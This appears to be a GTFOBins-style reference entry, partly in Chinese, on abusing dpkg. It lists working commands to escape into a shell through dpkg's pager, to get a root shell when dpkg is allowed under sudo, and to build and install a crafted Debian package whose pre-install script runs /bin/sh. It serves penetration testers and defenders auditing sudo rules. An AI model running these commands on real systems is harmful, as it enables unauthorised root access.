.. / dpkg

shell

用来生成一个交互式的系统shell。

• This invokes the default pager, which is likely to be [less](/gtfobins/less/), other functions may apply.

  dpkg -l
  !/bin/sh
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• This invokes the default pager, which is likely to be [less](/gtfobins/less/), other functions may apply.

  sudo dpkg -l
  !/bin/sh
  

  It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` TF=$(mktemp -d) echo 'exec /bin/sh' > $TF/x.sh fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF ```

  sudo dpkg -i x_1.0_all.deb